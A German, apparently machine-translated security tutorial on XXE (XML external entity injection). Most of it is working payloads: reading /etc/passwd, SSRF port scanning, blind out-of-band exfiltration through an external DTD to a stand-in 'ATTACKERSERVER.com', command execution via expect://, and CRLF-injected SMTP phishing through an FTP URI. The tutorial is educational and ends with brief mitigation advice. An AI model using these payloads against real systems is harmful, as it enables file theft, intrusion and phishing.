Was ist der Ansatz von XML zur Remotecodeausführung?

Was ist XXE?

Einfach ausgedrückt ist XXE eine externe XML-Entity-Injection. Wenn durch die Erstellung bösartiger Inhalte auf externe Entitäten verwiesen werden darf, kann dies zu Schäden wie willkürlichem Lesen von Dateien, der Ausführung von Systembefehlen, der Erkennung von Intranet-Ports und Angriffen auf Intranet-Websites führen.

Wenn das Programm, das Sie derzeit verwenden, beispielsweise PHP ist, können Sie libxml_disable_entity_loader auf TRUE setzen, um externe Entitäten zu Verteidigungszwecken zu deaktivieren.

Grundlegende Ausnutzung

Normalerweise injizieren Angreifer Nutzdaten in XML-Dateien. Sobald die Datei ausgeführt wird, werden lokale Dateien auf dem Server gelesen und der Zugriff auf das interne Netzwerk wird initiiert, um interne Netzwerkports zu scannen. Mit anderen Worten: XXE ist eine Möglichkeit, verschiedene Dienste lokal zu erreichen. Darüber hinaus kann dies Angreifern in gewissem Umfang auch dabei helfen, Firewall-Regelfilter oder Authentifizierungsprüfungen zu umgehen.

Das Folgende ist ein Beispiel für eine einfache XML-Code-POST-Anfrage:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

Der obige Code wird dann vom XML-Prozessor des Servers analysiert. Der Code wird interpretiert und zurückgegeben: {"Request Successful": "Added!"}

Was passiert nun, wenn ein Angreifer versucht, die XML-Code-Analyse zu missbrauchen? Bearbeiten wir den Code und fügen unsere bösartige Nutzlast ein:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Der Code wird interpretiert und gibt Folgendes zurück:

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

Wie im obigen Beispiel gezeigt, gibt der Server den Inhalt der Datei /etc/passwd als zurück eine Antwort auf unsere XXE. In einigen Fällen wird jedoch keine Antwort an den Browser oder Proxy des Angreifers zurückgegeben, obwohl XXE auf dem Server vorhanden ist. In diesem Fall können wir die Schwachstelle Blind XXE nutzen, um einen Out-of-Band-Kanal (OOB) zum Lesen der Daten aufzubauen. Obwohl wir den Dateiinhalt nicht direkt einsehen können, können wir den anfälligen Server dennoch als Proxy verwenden, um Scans und Code im externen Netzwerk durchzuführen.

Szenario 1 – Port-Scan

Im ersten Beispiel haben wir die Anfrage über den URI auf die Datei /etc/passwd verwiesen und schließlich den Inhalt der Datei erfolgreich an uns zurückgegeben. Darüber hinaus können wir XXE auch in SSRF (Server Side Request Forgery) konvertieren, indem wir einen http-URI verwenden und den Server zwingen, eine GET-Anfrage an den von uns angegebenen Endpunkt und Port zu senden.

Der folgende Code versucht, mit Port 8080 zu kommunizieren. Anhand der Antwortzeit/-länge kann der Angreifer feststellen, ob der Port geöffnet wurde.

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Szenario 2 – Diebstahl von Dateien über DTD

Externe Document Type Definition (DTD)-Dateien können verwendet werden, um OOB XXE auszulösen. Der Angreifer hostet die .dtd-Datei auf einem VPS und ermöglicht so einem anfälligen Remote-Server, die Datei abzurufen und die darin enthaltenen bösartigen Befehle auszuführen.

Die folgende Anfrage wird an die Anwendung gesendet, um die Methode zu demonstrieren und zu testen:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Der obige Code sendet nach der Verarbeitung durch den anfälligen Server eine Anfrage an unseren Remote-Server, der nach der DTD-Datei mit unserer Nutzlast sucht:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM &#39;http://ATTACKESERVER.com/?%file;&#39;>">
%all;

Nehmen wir uns einen Moment Zeit, um den Ausführungsablauf der obigen Anfrage zu verstehen. Das Ergebnis ist, dass zwei Anfragen an unseren Server gesendet werden, die zweite Anfrage ist der Inhalt der Datei /etc/passwd.

In unseren VPS-Protokollen können wir eine zweite Anfrage mit Dateiinhalt sehen, die das Vorhandensein der OOB XXE-Schwachstelle bestätigt:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

Szenario 3 – Remotecodeausführung

Dies kommt selten vor, aber es gibt Fälle, in denen eine Der Angreifer ist in der Lage, Code über XXE auszuführen, was hauptsächlich auf eine unsachgemäße Konfiguration/Entwicklung interner Anwendungen zurückzuführen ist. Wenn wir Glück haben und das PHP-Expect-Modul auf einem anfälligen System oder einer internen Anwendung geladen ist, die XML verarbeitet, können wir einen Befehl wie diesen ausführen:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Antwort:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

Szenario 4 – Phishing

Wir Mit dem XML-Parser von Java wurde ein anfälliger Endpunkt gefunden. Nach dem Scannen der internen Ports haben wir einen SMTP-Dienst gefunden, der Port 25 mit Java-Unterstützung für den FTP-URI in sun.net.ftp.impl.FtpClient überwacht. Daher können wir den Benutzernamen und das Passwort angeben, z. B. ftp://user:password@host:port/test.txt, und der FTP-Client sendet den entsprechenden USER-Befehl in der Verbindung.

Aber wenn wir %0D%0A (CRLF) irgendwo im Benutzerteil der URL hinzufügen, können wir den USER-Befehl beenden und einen neuen Befehl in die FTP-Sitzung einfügen, der es uns ermöglicht, beliebiges SMTP an Port 25 zu senden. Befehl:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

Wenn ein FTP-Client über diese URL eine Verbindung herstellt, wird der folgende Befehl an den Mailserver auf VULNERABLESYSTEM.com gesendet:

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

Dies bedeutet, dass ein Angreifer eine Phishing-E-Mail von einer vertrauenswürdigen Quelle senden kann (z. B.: Link zum Zurücksetzen des Kontos). und Umgehung der Erkennung durch Spamfilter. Neben Links können wir auch Anhänge versenden.

Dienstprogramme

Die Möglichkeit, Webanfragen manuell bearbeiten zu können, ist für XXE-Angriffe von entscheidender Bedeutung. Hier empfehle ich jedem, BurpSuite zu verwenden. Die Scanfunktion von BurpSuite kann für uns potenzielle XXE-Schwachstellen erkennen. Zweitens eignet sich die Intruder-Funktion von Burp sehr gut zur Porterkennung. Wir möchten Sie jedoch daran erinnern, dass Tools nur unsere Assistenten sind und in manchen Fällen manuelle Tests möglicherweise besser sind!

HTTP-Anfrageanalysetools wie RequestBin und HookBin eignen sich sehr gut für OOB XXE-Tests. Darüber hinaus ist auch der Collaborator von BurpSuite Pro eine gute Wahl, einige Sicherheitsforscher bevorzugen jedoch die Verwendung ihres eigenen VPS.

Abhilfemaßnahmen

Das oben diskutierte Hauptproblem besteht darin, dass der XML-Parser nicht vertrauenswürdige, vom Benutzer gesendete Daten analysiert. Es ist jedoch nicht einfach oder unmöglich, die durch den SYSTEM-Bezeichner in der DTD (Dokumenttypdefinition) definierten Daten zu überprüfen. Die meisten XML-Parser sind standardmäßig anfällig für XXE-Angriffe. Daher besteht die beste Lösung darin, den XML-Prozessor so zu konfigurieren, dass er lokale statische DTDs verwendet und nicht zulässt, dass XML irgendwelche selbstdeklarierten DTDs enthält.

Das obige ist der detaillierte Inhalt vonWas ist der Ansatz von XML zur Remotecodeausführung?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!